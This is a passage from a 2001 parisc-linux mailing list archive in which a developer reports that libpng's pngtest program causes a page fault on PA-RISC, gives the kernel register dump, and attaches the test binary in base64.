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

--==_Exmh_-11766026340--






From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] libpng test program causes page fault
Date: Tue, 06 Mar 2001 02:39:51 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20010306093951.7816D38BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619932 16609 80.91.229.3 (22 Nov 2014 01:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 02:37:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC21C6629
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 02:37:18 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 3CBF0D8F
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 04:37:18 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 7816D38BD7
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 02:39:51 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10459

When building the libpng debian package,

apt-get source libpng
cd libpng-1.0.8
dpkg-buildpackage

it builds a 'pngtest' program and attempts to run it resulting in this page 
fault,

------------------------------------------------------------------------------
do_page_fault() pid=29568 command='pngtest' type=6 address=0x0a000003
vm_start = 0x00005000, vm_end = 0x00007000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3     00000000 40016f9c 40057ec7 faf003c0
r4-7     4001a380 000a6bf0 000a6c10 00000002
r8-11    faf001d4 faf001cc 00000001 4001baf0
r12-15   4001bad0 00000000 000a6c70 00000000
r16-19   00000000 00005000 00000000 4001a380
r20-23   0a000000 000048c8 0a000000 00000000
r24-27   faf001d4 faf001cc 00000001 00076808
r28-31   4001b1f2 00000037 faf00440 40057ec7
sr0-3    00004387 00004387 00000000 00004387
sr4-7    00004387 00004387 00004387 00004387

IASQ: 00004387 00004387 IAOQ: 0a000003 0a000007
 IIR: 43ffff80    ISR: 102400c9  IOR: 93700428
ORIG_R28: faf00001
------------------------------------------------------------------------------

The pngtest program is attached.

Thanks,


-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libpng test program causes page fault
Date: Tue, 06 Mar 2001 02:45:21 -0700
Lines: 492
Approved: news@gmane.org
Message-ID: <20010306094521.5967638BD7@carmen.fc.hp.com>
References: <20010306093951.7816D38BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-11742674900"
X-Trace: ger.gmane.org 1416619932 16611 80.91.229.3 (22 Nov 2014 01:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 02:42:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B804D4A19
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 02:42:48 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 25E691C9
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 04:42:48 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 5967638BD7
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 02:45:21 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Tue, 06 Mar 2001 02:39:51 MST."
             <20010306093951.7816D38BD7@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10460

This is a multipart MIME message.

--==_Exmh_-11742674900
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


Matt Taggart writes...

> The pngtest program is attached.

Hmm, attachment didn't work. Here it is.


-- =

Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation


--==_Exmh_-11742674900
Content-Type: text/plain ; name="pngtest"; charset=iso-8859-1
Content-Description: pngtest
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pngtest"

f0VMRgECAQMAAAAAAAAAAAACAA8AAAABAAApoAAAADQAAETIAAACEAA0ACAABgAoAB0AGgAA
AAYAAAA0AAAQNAAAEDQAAADAAAAAwAAAAAUAAAAEAAAAAwAAAPQAABD0AAAQ9AAAAA0AAAAN
AAAABAAAAAEAAAABAAAAAAAAEAAAABAAAAA+oAAAPqAAAAAFAAAQAAAAAAEAAD6gAABeoAAA
XqAAAAQEAAAIQAAAAAcAABAAAAAAAgAAQeQAAGHkAABh5AAAAMAAAADAAAAABgAAAAQAAAAE
AAABBAAAEQQAABEEAAAAIAAAACAAAAAEAAAABC9saWIvbGQuc28uMQAAAAAAAAAEAAAAEAAA
AAFHTlUAAAAAAAAAAAIAAAAAAAAAAAAAAEMAAABfAAAAIwAAAFoAAAAAAAAAQQAAABwAAAAn
AAAAXgAAAFkAAAAAAAAAAAAAAEgAAABOAAAAUQAAAAAAAAAlAAAANAAAAAAAAAAAAAAARAAA
AEMAAAAoAAAAAAAAAD0AAAAVAAAASQAAAAAAAAAiAAAAIQAAAFwAAABKAAAABwAAAAAAAAAA
AAAARwAAAFYAAABdAAAAOQAAAAwAAAAAAAAAAAAAAFMAAAA4AAAATAAAAAsAAAArAAAAUAAA
AEYAAAAAAAAAAAAAADMAAAA/AAAATwAAAEsAAAAAAAAAKgAAAFQAAABNAAAAUgAAAAAAAABC
AAAAAAAAADsAAABXAAAAAAAAADAAAAAAAAAANgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAANAAAACAAAAAAAAAAA
AAAABAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAADwAAAAAAAAAOAAAAAAAAAAAAAAAZAAAAAAAA
AAAAAAAAAAAAAgAAABIAAAAAAAAAHwAAACYAAAAAAAAAAQAAAAAAAAAAAAAABQAAACwAAAAA
AAAAAAAAAAAAAAAdAAAAKQAAABcAAAAkAAAACgAAADUAAAAAAAAAAAAAAAYAAAAWAAAAAAAA
AAAAAAAAAAAAPAAAAC0AAAAuAAAAHgAAADcAAAAAAAAAAAAAAAAAAAARAAAAMgAAACAAAAAY
AAAAAAAAAAAAAAA+AAAALwAAAEUAAAAbAAAAOgAAAAAAAAAAAAAAAAAAAAAAAABAAAAACQAA
AAAAAAAQAAAAGgAAADEAAAATAAAAWwAAAFUAAABYAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA
AAAAPBIAAAAAAAAaAAAAAAAAACgSAAAAAAAAJwAAAAAAAACgEgAAAAAAADoAAAAAAAABgBIA
AAAAAAWCAABIBAAAACgSAAALAAAATQAAAAAAAAAIEgAAAAAAAGUAAAAAAAAAKBIAAAAAAABy
AAAAAAAAACgSAAAAAAAAfwAAAAAAAAAUEgAAAAAABRoAAAAAAAADBBIAAAAAAACeAAAAAAAA
ACgSAAAAAAAAvQAAYeQAAAAAEQD/8QAAAMYAAAAAAAAAGBIAAAAAAADXAAAAAAAAAkQSAAAA
AAAA5AAAAAAAAABQEgAAAAAAAPEAAAAAAAAACBIAAAAAAAEIAAAAAAAAAEQSAAAAAAABGwAA
AAAAAALIEgAAAAAAATIAAAAAAAAAKBIAAAAAAAVZAAAAAAAAATgSAAAAAAABPwAAAAAAAAAk
EgAAAAAAAVoAAAAAAAAAPBIAAAAAAAFnAAAAAAAAABgSAAAAAAABfAAAAAAAAACcEgAAAAAA
AYkAAAAAAAAAGBIAAAAAAAUoAAAAAAAAAUgSAAAAAAAFkAAAR9QAAAAwEgAACwAABTsAAAAA
AAABfBIAAAAAAAGdAAAAAAAAACgSAAAAAAABqgAAAAAAAAHwEgAAAAAABPIAAAAAAAAAIBIA
AAAAAAHBAAAAAAAAACgSAAAAAAABzgAAAAAAAAEwEgAAAAAAAdsAACSYAAAAABIAAAoAAAHh
AAAAAAAAAaASAAAAAAAB/QAAAAAAAAD4EgAAAAAAAgwAAAAAAAAAXBIAAAAAAAIZAAAAAAAA
AHgSAAAAAAACJAAAAAAAAAAAIAAAAAAAAjwAAAAAAAAADBIAAAAAAAJWAAAAAAAAAlgSAAAA
AAACYwAAAAAAAAIAEgAAAAAAAnsAAAAAAAAARBIAAAAAAAKIAAAAAAAAAiQSAAAAAAACnwAA
AAAAAAO8EgAAAAAAAq4AAAAAAAAAIBIAAAAAAAUUAAAAAAAAANASAAAAAAAFIQAAAAAAAAHM
EgAAAAAAArsAAAAAAAAANBIAAAAAAAU1AAAAAAAAAPgSAAAAAAAFZgAAYqQAAAAAEQD/8QAA
BS4AAAAAAAAAHBIAAAAAAAWjAAA/LAAAB+QSAAALAAACyAAAAAAAAAAQEgAAAAAAAtoAAAAA
AAAAJBIAAAAAAALxAAAAAAAAAhwSAAAAAAAC/wAAAAAAAAEMEgAAAAAABQAAAAAAAAAAhBIA
AAAAAAMMAABIzAAAAAASAAAMAAADEgAAAAAAAAA8EgAAAAAAAx8AAAAAAAABIBIAAAAAAAMs
AAAAAAAAADQSAAAAAAADNQAAAAAAAAAoEgAAAAAAA0gAAAAAAAAAFBIAAAAAAANoAAAAAAAA
BuASAAAAAAAFQgAAAAAAAAFEEgAAAAAAA3YAAAAAAAAAQBIAAAAAAAODAAAAAAAAABwSAAAA
AAAE+QAAYqgAAAAEEQAAFwAAA5AAAAAAAAABABIAAAAAAAOoAAAAAAAAAEASAAAAAAAFXwAA
YqQAAAAAEQD/8QAAA7UAAGHcAAAAABEA//EAAAVyAABm4AAAAAARAP/xAAAFqAAAKwAAAATw
EgAACwAAA8sAAAAAAAAAcBIAAAAAAAUMAAAAAAAAAEASAAAAAAAD2AAAAAAAAABMEgAAAAAA
A+UAAAAAAAAAXBIAAAAAAAP8AAAAAAAAACgSAAAAAAAECQAAAAAAAABgEgAAAAAABCEAAAAA
AAAEWBIAAAAAAAQvAAAAAAAAABwSAAAAAAAFuwAARxAAAADEEgAACwAABDwAAAAAAAAAzBIA
AAAAAARVAAAAAAAAABwSAAAAAAAEbAAAAAAAAABAEgAAAAAABHkAAGKwAAAADBEAABcAAASI
AAAAAAAAAYgSAAAAAAAElgAAAAAAAAAAIAAAAAAABKwAAAAAAAAACBIAAAAAAAVHAAAAAAAA
ATQSAAAAAAAEuAAASMgAAAAEIgAACwAABMcAAAAAAAAGFBIAAAAAbGlicG5nLnNvLjIAcG5n
X3NldF9zQklUAHBuZ19nZXRfc0JJVABwbmdfZ2V0X2NIUk1fZml4ZWQAcG5nX3NldF9jSFJN
X2ZpeGVkAHBuZ19zZXRfd3JpdGVfc3RhdHVzX2ZuAHBuZ19nZXRfYktHRABwbmdfZ2V0X2hJ
U1QAcG5nX3NldF9yZWFkX3VzZXJfdHJhbnNmb3JtX2ZuAHBuZ19zZXRfdW5rbm93bl9jaHVu
a19sb2NhdGlvbgBfRFlOQU1JQwBwbmdfZ2V0X3Jvd2J5dGVzAHBuZ19zZXRfdGV4dABwbmdf
Z2V0X2lDQ1AAcG5nX3NldF9yZWFkX3N0YXR1c19mbgBwbmdfc2V0X2dBTUFfZml4ZWQAcG5n
X2NyZWF0ZV9yZWFkX3N0cnVjdABwbmdfZ2V0X3RJTUUAcG5nX3NldF9pbnRlcmxhY2VfaGFu
ZGxpbmcAcG5nX3NldF9iS0dEAHBuZ19nZXRfaW1hZ2VfaGVpZ2h0AHBuZ19nZXRfcENBTABw
bmdfZ2V0X2ltYWdlX3dpZHRoAHBuZ19nZXRfc1JHQgBwbmdfY29udmVydF90b19yZmMxMTIz
AHBuZ19zZXRfb0ZGcwBwbmdfc2V0X0lIRFIAX2luaXQAcG5nX3NldF9rZWVwX3Vua25vd25f
Y2h1bmtzAHBuZ193cml0ZV9yb3dzAHBuZ19zZXRfdFJOUwBwbmdfbWFsbG9jAF9fZGVyZWdp
c3Rlcl9mcmFtZV9pbmZvAHBuZ19hY2Nlc3NfdmVyc2lvbl9udW1iZXIAcG5nX3NldF9wQ0FM
AHBuZ19jcmVhdGVfd3JpdGVfc3RydWN0AHBuZ19nZXRfb0ZGcwBwbmdfc2V0X3Vua25vd25f
Y2h1bmtzAHBuZ193cml0ZV9pbmZvAHBuZ19zZXRfUExURQBwbmdfZ2V0X1BMVEUAcG5nX2dl
dF9jb3B5cmlnaHQAcG5nX2dldF9oZWFkZXJfdmVyc2lvbgBwbmdfd3JpdGVfZW5kAHBuZ19n
ZXRfSUhEUgBfZmluaQBwbmdfc2V0X3NDQUwAcG5nX3NldF9pQ0NQAHBuZ19mcmVlAHBuZ19n
ZXRfZ0FNQV9maXhlZABwbmdfc2V0X3dyaXRlX3VzZXJfdHJhbnNmb3JtX2ZuAHBuZ19yZWFk
X2luZm8AcG5nX2dldF90ZXh0AHBuZ19zZXRfaElTVABwbmdfZGVzdHJveV9yZWFkX3N0cnVj
dABwbmdfZ2V0X3NDQUwAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAHBuZ19nZXRfdFJOUwBwbmdf
Z2V0X3BIWXMAcG5nX2NyZWF0ZV9pbmZvX3N0cnVjdABwbmdfc2V0X3BIWXMAcG5nX2Rlc3Ry
b3lfaW5mb19zdHJ1Y3QAcG5nX2ZyZWVfZGF0YQBwbmdfc2V0X3NSR0IAcG5nX2Rlc3Ryb3lf
d3JpdGVfc3RydWN0AHBuZ19nZXRfdW5rbm93bl9jaHVua3MAcG5nX3NldF90SU1FAHBuZ19s
aWJwbmdfdmVyAHBuZ19yZWFkX3Jvd3MAX19yZWdpc3Rlcl9mcmFtZV9pbmZvAHBuZ19pbml0
X2lvAF9fZ21vbl9zdGFydF9fAHBuZ19yZWFkX2VuZABsaWJ6LnNvLjEAbGlibS5zby42AGxp
YmMuc28uNgBzdHJjcHkAc3Rkb3V0AF9fc2lnc2V0am1wAGZwcmludGYAZm9wZW4AbWVtY21w
AGZjbG9zZQBmcmVhZABzdHJjbXAAZnB1dGMAZndyaXRlAGV4aXQAX19saWJjX3N0YXJ0X21h
aW4AZnB1dHMAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQALjovdXNyL2xpYgBjb3VudF9maWx0
ZXJzAHdyaXRlX3Jvd19jYWxsYmFjawBtYWluAGNvdW50X3plcm9fc2FtcGxlcwByZWFkX3Jv
d19jYWxsYmFjawBHTElCQ18yLjIAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAIAAAABAAAAAAAA
AAAAAAAAAAAAAgAAAAAAAAAAAAAAAgABAAIAAAAAAAIAAAAAAAEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAgACAAAAAgABAAIAAQAAAAAAAAAAAAIAAQAAAAAAAAAAAAAAAAACAAAAAAAC
AAAAAAABAAEAAQABAAAAAgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAgABAAAAAAAB
AAEAAAToAAAAEAAAAAANaWkSAAAAAgAABc0AAAAAAABiqAAARYAAAAAAAABisAAAWIAAAAAA
AABfCAAAAYEAAAAAAABfEAAAAoEAAAAAAABfGAAAA4EAAAAAAABfIAAABIEAAAAAAABfKAAA
BYEAAAAAAABfMAAABoEAAAAAAABfOAAAB4EAAAAAAABfQAAACIEAAAAAAABfSAAACYEAAAAA
AABfUAAACoEAAAAAAABfWAAAC4EAAAAAAABfYAAADYEAAAAAAABfaAAADoEAAAAAAABfcAAA
D4EAAAAAAABfeAAAEIEAAAAAAABfgAAAEYEAAAAAAABfiAAAEoEAAAAAAABfkAAAE4EAAAAA
AABfmAAAFIEAAAAAAABfoAAAFYEAAAAAAABfqAAAFoEAAAAAAABfsAAAF4EAAAAAAABfuAAA
GIEAAAAAAABfwAAAGYEAAAAAAABfyAAAGoEAAAAAAABf0AAAG4EAAAAAAABf2AAAHIEAAAAA
AABf4AAAHYEAAAAAAABf6AAAHoEAAAAAAABf8AAAH4EAAAAAAABf+AAAIIEAAAAAAABgAAAA
IYEAAAAAAABgCAAAIoEAAAAAAABgEAAAI4EAAAAAAABgGAAAJIEAAAAAAABgIAAAJYEAAAAA
AABgKAAAJoEAAAAAAABgMAAAJ4EAAAAAAABgOAAAKIEAAAAAAABgQAAAKYEAAAAAAABgSAAA
KoEAAAAAAABgUAAAK4EAAAAAAABgWAAALIEAAAAAAABgYAAALYEAAAAAAABgaAAALoEAAAAA
AABgcAAAL4EAAAAAAABgeAAAMIEAAAAAAABggAAAMYEAAAAAAABgiAAAMoEAAAAAAABgkAAA
NIEAAAAAAABgmAAANYEAAAAAAABgoAAANoEAAAAAAABgqAAAN4EAAAAAAABgsAAAOIEAAAAA
AABguAAAOYEAAAAAAABgwAAAOoEAAAAAAABgyAAAO4EAAAAAAABg0AAAPIEAAAAAAABg2AAA
PYEAAAAAAABg4AAAPoEAAAAAAABg6AAAP4EAAAAAAABg8AAAQIEAAAAAAABg+AAAQYEAAAAA
AABhAAAAQoEAAAAAAABhCAAAQ4EAAAAAAABhEAAARIEAAAAAAABhGAAARoEAAAAAAABhIAAA
R4EAAAAAAABhKAAAS4EAAAAAAABhMAAATIEAAAAAAABhOAAATYEAAAAAAABhQAAAToEAAAAA
AABhSAAAT4EAAAAAAABhUAAAUIEAAAAAAABhWAAAUYEAAAAAAABhYAAAUoEAAAAAAABhaAAA
U4EAAAAAAABhcAAAVIEAAAAAAABheAAAVYEAAAAAAABhgAAAVoEAAAAAAABhiAAAV4EAAAAA
AABhkAAAWYEAAAAAAABhmAAAWoEAAAAAAABhoAAAW4EAAAAAAABhqAAAXIEAAAAAAABhsAAA
XYEAAAAAAABhuAAAXoEAAAAAK2AAAEg1BiDqoMAASDMGKGvCP9lvwwCAa9M/wehfH70IEwJD
CAMCU+hAC8gIAAJA6EEHCAgAAkBLwj9ZCAMCU+hAwABPwz+BK2AAAEg1BKDqoMAASDMEqCtg
AABINQKQ6qDAAEgzApgrYAAASDUBcOqgwABIMwF4K2AAAEg1AjDqoMAASDMCOCtgAABINQJw
6qDAAEgzAngrYAAASDUEMOqgwABIMwQ4K2AAAEg1BTDqoMAASDMFOCtgAABINQPg6qDAAEgz
A+grYAAASDUC4OqgwABIMwLoK2AAAEg1BhDqoMAASDMGGCtgAABINQVg6qDAAEgzBWgrYAAA
SDUEIOqgwABIMwQoK2AAAEg1ASDqoMAASDMBKCtgAABINQVA6qDAAEgzBUgrYAAASDUEcOqg
wABIMwR4K2AAAEg1AfDqoMAASDMB+CtgAABINQDw6qDAAEgzAPgrYAAASDUEQOqgwABIMwRI
K2AAAEg1BQDqoMAASDMFCCtgAABINQGw6qDAAEgzAbgrYAAASDUDQOqgwABIMwNIK2AAAEg1
AvDqoMAASDMC+CtgAABINQYw6qDAAEgzBjgrYAAASDUDAOqgwABIMwMIK2AAAEg1BbDqoMAA
SDMFuCtgAABINQKg6qDAAEgzAqgrYAAASDUEEOqgwABIMwQYK2AAAEg1AeDqoMAASDMB6Ctg
AABINQTQ6qDAAEgzBNgrYAAASDUA0OqgwABIMwDYK2AAAEg1A3DqoMAASDMDeCtgAABINQIA
6qDAAEgzAggrYAAASDUF4OqgwABIMwXoK2AAAEg1A4DqoMAASDMDiCtgAABINQUg6qDAAEgz
BSgrYAAASDUGAOqgwABIMwYIK2AAAEg1BYDqoMAASDMFiCtgAABINQPA6qDAAEgzA8grYAAA
SDUDYOqgwABIMwNoK2AAAEg1AlDqoMAASDMCWCtgAABINQJA6qDAAEgzAkgrYAAASDUDkOqg
wABIMwOYK2AAAEg1AsDqoMAASDMCyCtgAABINQIg6qDAAEgzAigrYAAASDUBUOqgwABIMwFY
K2AAAEg1A9DqoMAASDMD2CtgAABINQTw6qDAAEgzBPgrYAAASDUEsOqgwABIMwS4K2AAAEg1
BGDqoMAASDMEaCtgAABINQGA6qDAAEgzAYgrYAAASDUBQOqgwABIMwFIK2AAAEg1AQDqoMAA
SDMBCCtgAABINQHQ6qDAAEgzAdgrYAAASDUEwOqgwABIMwTIK2AAAEg1AxDqoMAASDMDGCtg
AABINQSQ6qDAAEgzBJgrYAAASDUDoOqgwABIMwOoK2AAAEg1AWDqoMAASDMBaCtgAABINQNQ
6qDAAEgzA1grYAAASDUEgOqgwABIMwSIK2AAAEg1BVDqoMAASDMFWCtgAABINQGg6qDAAEgz
AagrYAAASDUE4OqgwABIMwToK2AAAEg1AhDqoMAASDMCGCtgAABINQEw6qDAAEgzATgrYAAA
SDUBwOqgwABIMwHIK2AAAEg1BADqoMAASDMECCtgAABINQXQ6qDAAEgzBdgrYAAASDUFwOqg
wABIMwXIK2AAAEg1AzDqoMAASDMDOCtgAABINQKw6qDAAEgzArgrYAAASDUCgOqgwABIMwKI
K2AAAEg1AODqoMAASDMA6CtgAABINQVw6qDAAEgzBXgrYAAASDUDsOqgwABIMwO4K2AAAEg1
BZDqoMAASDMFmCtgAABINQGQ6qDAAEgzAZgjQwAAN1oBNDfeAIBr1z+RIuMAADb3ABQiwwAA
NtYBlGvWP5lr3j+JI2IwADd7DUDoXxcVCAACQAQAAAAIAAJAa8I/2QgDAkEIHgJDb8EBACtg
AABIMwAQhmAgAugAANIIAAJAK2AAAEgzAAgOYBCTjmAgAugAAFIrYAAASDMACDZzAAhoMwAI
SDMACDZzP/kOYBCTCBMCVuvgG9wIHwJC6B8ffyJiEABKcwHwhmAgGitgAAA0OgCo6F8f9QgA
AkA0EwACK2AAAGgzABBIYj/ZNH4AgE/DP4HoQMACa8I/2QgDAkEIHgJDb8EAgEhiP9k0fgCA
T8M/gehAwAJrwj/ZCAMCQQgeAkNvwQCAImIQAEpzAfiGYCAqK2AAADQ6AKgrYAAANDkIOOhf
H/UIAAJASGI/2TR+AIBPwz+B6EDAAmvCP9kIAwJBCB4CQ2/BAIBIYj/ZNH4AgE/DP4HoQMAC
a8I/2W/GAIBrxT+Ja8Q/kYdAIiBrwz+ZDzAQFNKTG/iGYCYYCBQCVYZmJgoPNBABDyAQnZag
AAYIAQUcgB2hyDQfAAA0AgAggBxhcggcAlUPMhAWCqAEAytgEADQcxv+0tcb+DQaACCGYCCQ
NCEAeIZmYFKGZGAihvAlMAgWAlTSgxv4gHokyja1P/+G8CR4CBYCVNKGG/iA2iQSNrU//4bw
I8AIFgJU0oUb+IC6I1o2tT//hqAgkobwIwAIFgJU0oQb+ICaIpqG8CJQCBYCVNKDG/iAeiHq
hvAhoAgWAlTShhv4gNohOobwIPAIFgJU0oUb+IC6IIo2tT/5jqA/bQgAAkAPMBAUjoaAGg8y
EBU3GAACCqI4gLcYAAI3/wACi/2+RQgAAkBLwj9ZS8U/iUvEP5FLwz+Z6EDAAE/GP4EPABAD
DwIQEwpjAkaEwCAKrwQfTTa1P/kMIBCENJQAAugfH9UMNBKADwIQJozAPwXShRv4DCAQhA8y
